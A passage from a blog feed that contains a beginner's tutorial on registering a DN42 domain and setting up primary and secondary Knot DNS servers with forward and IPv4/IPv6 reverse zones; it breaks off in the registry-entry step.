&lt;li&gt;http://www.kkdlabs.jp/dns/automatic-dnssec-signing-by-knot-dns/&lt;/li&gt;
&lt;li&gt;https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc2317&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc3152&lt;/li&gt;
&lt;li&gt;https://datatracker.ietf.org/doc/html/rfc1912#section-2.2&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>DN42 - Ep.3 Registering a Domain and Setting Up Authoritative DNS in DN42</title><link>https://blog.iyoroy.cn/posts/en-112/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-112/</guid><description>Registering a DN42 domain and setting up primary and secondary Knot DNS servers, including forward zones, IPv4/IPv6 reverse zones, and Registry entries.</description><pubDate>Sun, 03 Aug 2025 13:22:00 GMT</pubDate><content:encoded>&lt;h1&gt;Foreword&lt;/h1&gt;
&lt;p&gt;I am a novice in BGP. This article may contain &lt;strong&gt;imprecise content/naive understandings/elementary mistakes&lt;/strong&gt;. If you find any issues, you are welcome to contact me via &lt;a href=&quot;mailto:i@iyoroy.cn&quot;&gt;email&lt;/a&gt;, and I will correct them as soon as possible. &lt;strong&gt;If you find this unacceptable, it is recommended to close this article now.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Assumption: You have already joined DN42, can normally send and receive routing tables, and can access IPs within DN42.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Article Update Log&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;August 3, 2025: First edition published.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;March 15, 2026: Update typos. Thanks to @Auride.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Motivation&lt;/h1&gt;
&lt;p&gt;While debugging the network, I noticed that pinging or tracerouting others&apos; DN42 IPs could display the reverse-resolved domain names, making it clear which nodes the route passed through, rather than just looking at IPs (as shown in the figure below). It&apos;s very intuitive, &lt;s&gt;letting others see at a glance if you&apos;ve taken a detour&lt;/s&gt;. Therefore, I decided to register my own DN42 domain and set up an authoritative DNS service.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/1407227036.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After reading Lantian&apos;s &lt;a href=&quot;https://lantian.pub/article/modify-website/register-own-domain-in-dn42.lantian/&quot;&gt;article&lt;/a&gt;, I saw he used a PowerDNS + MySQL master-slave synchronization solution. However, my server has limited performance (only 1 core, 1GB RAM), so I plan to use &lt;a href=&quot;https://www.knot-dns.cz/&quot;&gt;KnotDNS&lt;/a&gt; as the DNS server, utilizing the standard zone transfer protocol (AXFR/IXFR) for master-slave synchronization.&lt;/p&gt;
&lt;h1&gt;Preparations&lt;/h1&gt;
&lt;p&gt;:::warning
The domain names and IPs mentioned in this and subsequent chapters are my own. Please replace them with your own during actual deployment; &lt;strong&gt;values enclosed in angle brackets need to be changed according to your requirements.&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;I chose the domain: &lt;code&gt;yori.dn42&lt;/code&gt;, and plan to deploy DNS servers on three machines:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;172.20.234.225, fd18:3e15:61d0::1, ns1.yori.dn42&lt;/li&gt;
&lt;li&gt;172.20.234.227, fd18:3e15:61d0::3, ns2.yori.dn42&lt;/li&gt;
&lt;li&gt;172.20.234.229, fd18:3e15:61d0::5, ns3.yori.dn42&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Among them, &lt;code&gt;ns1.yori.dn42&lt;/code&gt; will be the master node, and &lt;code&gt;ns2&lt;/code&gt;, &lt;code&gt;ns3&lt;/code&gt; will be the slave nodes.&lt;/p&gt;
&lt;h1&gt;Installing KnotDNS&lt;/h1&gt;
&lt;p&gt;If port 53 on the system is occupied by a process like &lt;code&gt;systemd-resolvd&lt;/code&gt;, disable it first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl stop systemd-resolved
systemctl disable systemd-resolved
unlink /etc/resolv.conf
echo &quot;nameserver 8.8.8.8&quot; &amp;gt; /etc/resolv.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I am using Debian 12, so I&apos;ll use APT for installation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install knot knot-dnsutils -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Set KnotDNS to start automatically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable knot
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Configuring KnotDNS&lt;/h1&gt;
&lt;h2&gt;Creating a Key&lt;/h2&gt;
&lt;p&gt;First, create a key for synchronization:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keymgr -t key_knsupdate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy the output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# hmac-sha256:key_knsupdate:&amp;lt;your secret&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;your secret&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Editing the Configuration File&lt;/h2&gt;
&lt;h3&gt;Master Node&lt;/h3&gt;
&lt;p&gt;Edit /etc/knot/knot.conf and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ &amp;lt;listen_address1&amp;gt;@53, &amp;lt;listen_address2&amp;gt;@53, ... ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

### Paste the Key generated in the previous step here
# hmac-sha256:key_knsupdate:&amp;lt;your secret&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;your secret&amp;gt;

remote:
  - id: &amp;lt;DNS_Node_1_ID&amp;gt;
    address: &amp;lt;DNS_Node_1_IP&amp;gt;@53

  - id: &amp;lt;DNS_Node_2_ID&amp;gt;
    address: &amp;lt;DNS_Node_2_IP&amp;gt;@53

  - id: &amp;lt;DNS_Node_3_ID&amp;gt;
    address: &amp;lt;DNS_Node_3_IP&amp;gt;@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: &amp;lt;DN42 Domain&amp;gt;
    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: &amp;lt;IPv4 Reverse Lookup Domain&amp;gt;
    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: &amp;lt;IPv6 Reverse Lookup Domain&amp;gt;
    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The listen addresses should include the machine&apos;s DN42 IPv4 and DN42 IPv6 addresses. For local debugging, you can add internal IPs like &lt;code&gt;127.0.0.1&lt;/code&gt; and &lt;code&gt;::1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The Slave Node IDs are the IDs set in the &lt;code&gt;remote&lt;/code&gt; section for the servers you designated as slave nodes.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;address&lt;/code&gt; in &lt;code&gt;remote&lt;/code&gt; can be an internal address, DN42 IPv4, or DN42 IPv6, used only for master-slave synchronization. If using an internal address, add it to the listen list.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;template&lt;/code&gt; section sets the Zone file storage location to &lt;code&gt;/var/lib/knot&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The IPv4 Reverse Lookup Domain should follow the format specified in &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2317&quot;&gt;RFC 2317&lt;/a&gt; based on your allocated IPv4 block. For example, my IPv4 block is &lt;code&gt;172.20.234.224/28&lt;/code&gt;, so my IPv4 reverse lookup domain should be &lt;code&gt;224/28.234.20.172.in-addr.arpa&lt;/code&gt;. This treats the last octet &lt;code&gt;224/28&lt;/code&gt; as a whole, reverses the order of the remaining parts, and appends &lt;code&gt;.in-addr.arpa&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The IPv6 Reverse Lookup Domain should follow the format specified in &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc3152&quot;&gt;RFC 3152&lt;/a&gt; based on your allocated IPv6 block. For example, my IPv6 block is &lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;, so my IPv6 reverse lookup domain should be &lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa&lt;/code&gt;. This involves reversing the order of the nibbles in the network prefix (excluding the &lt;code&gt;/48&lt;/code&gt;) and appending &lt;code&gt;.ip6.arpa&lt;/code&gt;. Pad with zeros if necessary.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.225@53, fd18:3e15:61d0::1@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

# hmac-sha256:key_knsupdate:&amp;lt;key&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;key&amp;gt;

remote:
  - id: 225 # Master Node
    address: 172.20.234.225@53

  - id: 227 # Slave Node
    address: 172.20.234.227@53

  - id: 229 # Slave Node
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: yori.dn42
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 224/28.234.20.172.in-addr.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Slave Nodes&lt;/h3&gt;
&lt;p&gt;The configuration for slave nodes is largely similar to the master node. Just change the listen addresses to the slave node&apos;s addresses and modify the zone section configuration as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- a/knot.conf
+++ b/knot.conf
 zone:
   - domain: &amp;lt;DN42 Domain&amp;gt;
-    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;Master_Node_ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
   - domain: &amp;lt;IPv4 Reverse Lookup Domain&amp;gt;
-    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;Master_Node_ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
   - domain: &amp;lt;IPv6 Reverse Lookup Domain&amp;gt;
-    notify: [ &amp;lt;Slave_Node_1_ID&amp;gt;, &amp;lt;Slave_Node_2_ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;Master_Node_ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The Master Node ID is the ID set in the remote section for the server you designated as the master node.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Examp;e&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.227@53, fd18:3e15:61d0::3@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

# hmac-sha256:key_knsupdate:&amp;lt;key&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;key&amp;gt;

remote:
  - id: 225
    address: 172.20.234.225@53

  - id: 227
    address: 172.20.234.227@53

  - id: 229
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: yori.dn42
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 224/28.234.20.172.in-addr.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After writing the configuration file, run the following command to restart KnotDNS:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart knot
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Editing Zone Files&lt;/h2&gt;
&lt;p&gt;All configurations in this section are done on the primary DNS server. For record values (not hostnames) that require domain names, unless otherwise specified, please follow the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1034&quot;&gt;RFC 1034&lt;/a&gt; specification and use FQDN format.&lt;/p&gt;
&lt;h4&gt;DN42 Domain&lt;/h4&gt;
&lt;p&gt;Navigate to &lt;code&gt;/var/lib/knot&lt;/code&gt; and create a file named &lt;code&gt;&amp;lt;dn42_domain&amp;gt;.zone&lt;/code&gt;.&lt;/p&gt;
&lt;h5&gt;SOA Record&lt;/h5&gt;
&lt;p&gt;The first record of the zone must be the SOA record. The SOA record is the &lt;strong&gt;Start of Authority record&lt;/strong&gt;, containing basic information about the domain, such as the primary NS server address. Fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@ &amp;lt;TTL&amp;gt; SOA &amp;lt;Primary_NS_Server_Address&amp;gt; &amp;lt;Contact_Email&amp;gt; &amp;lt;Serial_Number&amp;gt; &amp;lt;Refresh_Time&amp;gt; &amp;lt;Retry_Time&amp;gt; &amp;lt;Expire_Time&amp;gt; &amp;lt;Minimum_TTL&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@&lt;/code&gt; represents the current domain itself, do not change it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTL&lt;/strong&gt;: The TTL (Time To Live) value for this SOA record.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primary NS Server Address&lt;/strong&gt;: The address of the primary authoritative NS server for this domain. This can be a resolution within the domain. For example, my primary NS server is &lt;code&gt;172.20.234.225&lt;/code&gt;, and I plan to use &lt;code&gt;ns1.yori.dn42.&lt;/code&gt; pointing to this address, so here I can fill in &lt;code&gt;ns1.yori.dn42.&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Contact Email&lt;/strong&gt;: The email address, with &lt;code&gt;@&lt;/code&gt; replaced by &lt;code&gt;.&lt;/code&gt;. For example, my email is &lt;code&gt;i@iyoroy.cn&lt;/code&gt;, so here I can fill in &lt;code&gt;i.iyoroy.cn&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Serial Number&lt;/strong&gt;: A 10-digit number following &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1912#section-2.2&quot;&gt;RFC 1912&lt;/a&gt;, representing the version of the zone file. Other DNS servers will refetch the records if they detect an increase in the serial number when querying the SOA. It&apos;s commonly encoded using the date + a sequence number, so &lt;strong&gt;this value should be incremented after each modification&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Refresh Time:&lt;/strong&gt;: The interval for AXFR slave nodes to pull the zone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Retry Time&lt;/strong&gt;: The retry interval for AXFR slave nodes after a failed pull.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expire Time&lt;/strong&gt;: The maximum time an AXFR slave node can continue serving with the last successfully pulled records after a failure, after which it stops responding.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Minimum TTL&lt;/strong&gt;: The minimum TTL value for the entire domain, the minimum refresh time for all records. Records won&apos;t be refreshed before at least this much time has passed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Examp;e&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;NS Records&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fill this in according to your actual situation; add as many records as you have servers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;A, AAAA, CNAME, etc. Records&lt;/h5&gt;
&lt;p&gt;Fill them in according to the following format:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;Hostname&amp;gt; &amp;lt;TTL&amp;gt; &amp;lt;Type&amp;gt; &amp;lt;Record_Value&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your NS server values point to hosts within your own DN42 domain, be sure to add A or AAAA resolution records for them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Complete Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/var/lib/knot/yori.dn42.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;IPv4 Reverse Lookup Domain&lt;/h4&gt;
&lt;p&gt;Create a file in &lt;code&gt;/var/lib/knot&lt;/code&gt; named &lt;code&gt;&amp;lt;IPv4_Reverse_Lookup_Domain&amp;gt;.zone&lt;/code&gt;, replacing &lt;code&gt;/&lt;/code&gt; with &lt;code&gt;_&lt;/code&gt;. For example, my IPv4 block is &lt;code&gt;172.20.234.224/28&lt;/code&gt;, and my IPv4 reverse lookup domain is &lt;code&gt;224/28.234.20.172.in-addr.arpa&lt;/code&gt;, so the filename here would be &lt;code&gt;224_28.234.20.172.in-addr.arpa.zone&lt;/code&gt;. Fill in the resolution records:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ &amp;lt;TTL&amp;gt; SOA &amp;lt;Primary_NS_Server_Address&amp;gt; &amp;lt;Contact_Email&amp;gt; &amp;lt;Serial_Number&amp;gt; &amp;lt;Refresh_Time&amp;gt; &amp;lt;Retry_Time&amp;gt; &amp;lt;Expire_Time&amp;gt; &amp;lt;Minimum_TTL&amp;gt;

; NS
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_3&amp;gt;
 
; PTR
&amp;lt;Last_IPv4_Octet&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
&amp;lt;Last_IPv4_Octet&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
&amp;lt;Last_IPv4_Octet&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The SOA and NS records are the same as above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Last IPv4 Octet&lt;/strong&gt;: The last octet of the DN42 IPv4 address you assigned to the device. For example, my HK node is assigned &lt;code&gt;172.20.234.225&lt;/code&gt;, so here I would put &lt;code&gt;225&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;224_28.234.20.172.in-addr.arpa.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
 
; PTR
225 600 PTR hkg-cn.node.yori.dn42.
226 600 PTR nkg-cn.node.yori.dn42.
227 600 PTR tyo-jp.node.yori.dn42.
228 600 PTR hfe-cn.node.yori.dn42.
229 600 PTR lax-us.node.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might wonder why the CIDR mask is needed, which differs from the common Clearnet format of reversed octets (e.g., &lt;code&gt;234.20.172.in-addr.arpa&lt;/code&gt;). Also, if you test locally, you might find that reverse lookups for your own IP addresses fail directly.&lt;/p&gt;
&lt;p&gt;The reason lies in DN42&apos;s distributed registry mechanism: a single zone file cannot cover all reverse query entry points for your address block (i.e., the &lt;code&gt;.in-addr.arpa&lt;/code&gt; name for each specific IP address). To solve this, after your PR is merged, the official DN42 DNS will add CNAME redirects for your address block on its authoritative servers, pointing individual IP PTR queries to your CIDR-formatted zone, as shown below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~$ dig PTR 225.234.20.172.in-addr.arpa  +short
225.224/28.234.20.172.in-addr.arpa.  # &amp;lt;-- CNAME added by Registry (redirect)
hkg-cn.node.yori.dn42.               # &amp;lt;-- Final PTR record returned by your DNS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When an external resolver queries the reverse record for a specific IP (e.g., &lt;code&gt;172.20.234.225&lt;/code&gt;) (querying &lt;code&gt;225.234.20.172.in-addr.arpa&lt;/code&gt;), the official DN42 DNS returns a CNAME record pointing it to the specific record under the CIDR zone name (&lt;code&gt;225.224/28.234.20.172.in-addr.arpa&lt;/code&gt;). Ultimately, the PTR record is provided by your configured authoritative DNS server.&lt;/p&gt;
&lt;h4&gt;IPv6 Reverse Lookup Domain&lt;/h4&gt;
&lt;p&gt;Create a file in &lt;code&gt;/var/lib/knot&lt;/code&gt; named &lt;code&gt;&amp;lt;IPv6_Reverse_Lookup_Domain&amp;gt;.zone&lt;/code&gt;. For example, my IPv6 block is &lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;, and my IPv6 reverse lookup domain is &lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa&lt;/code&gt;, so the filename here would be &lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone&lt;/code&gt;. Fill in the resolution records:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ &amp;lt;TTL&amp;gt; SOA &amp;lt;Primary_NS_Server_Address&amp;gt; &amp;lt;Contact_Email&amp;gt; &amp;lt;Serial_Number&amp;gt; &amp;lt;Refresh_Time&amp;gt; &amp;lt;Retry_Time&amp;gt; &amp;lt;Expire_Time&amp;gt; &amp;lt;Minimum_TTL&amp;gt;

; NS
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS_Server_3&amp;gt;

; PTR
&amp;lt;Reversed_Last_20_Nibbles&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
&amp;lt;Reversed_Last_20_Nibbles&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
&amp;lt;Reversed_Last_20_Nibbles&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;Reverse_DNS_Value&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Handle SOA and NS records as above.&lt;/li&gt;
&lt;li&gt;For the PTR hostname, you need to &lt;strong&gt;take the last 80 bits of the host&apos;s IPv6 address (after removing the /48 prefix), expand them into 20 hexadecimal characters&lt;/strong&gt;, and &lt;strong&gt;reverse the order of these characters&lt;/strong&gt;, separating them with dots. For example, my Hong Kong node&apos;s IPv6 is &lt;code&gt;fd18:3e15:61d0::1&lt;/code&gt;. Expanded, this is &lt;code&gt;fd18:3e15:61d0:0000:0000:0000:0000:0001&lt;/code&gt;. The hostname here would be &lt;code&gt;1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; PTR
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hkg-cn.node.yori.dn42.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR nkg-cn.node.yori.dn42.
3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR tyo-jp.node.yori.dn42.
4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hfe-cn.node.yori.dn42.
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR lax-us.node.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Verifying the Setup&lt;/h2&gt;
&lt;p&gt;After saving everything, run &lt;code&gt;knot reload&lt;/code&gt; on each DNS server. If all goes well, you should see the slave nodes synchronizing the zone files from the master node. You can then use &lt;code&gt;dig&lt;/code&gt; or &lt;code&gt;nslookup&lt;/code&gt; specifying the server to query the resolution records.&lt;/p&gt;
&lt;h1&gt;Registration&lt;/h1&gt;
&lt;h2&gt;Domain&lt;/h2&gt;
&lt;p&gt;Clone the DN42 Registry, navigate to &lt;code&gt;data/dns&lt;/code&gt;, create a new file named &lt;code&gt;&amp;lt;your_desired_domain&amp;gt;&lt;/code&gt;, and fill in the following content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:             &amp;lt;your_desired_domain&amp;gt;
admin-c:            &amp;lt;Admin_NIC_Handle&amp;gt;
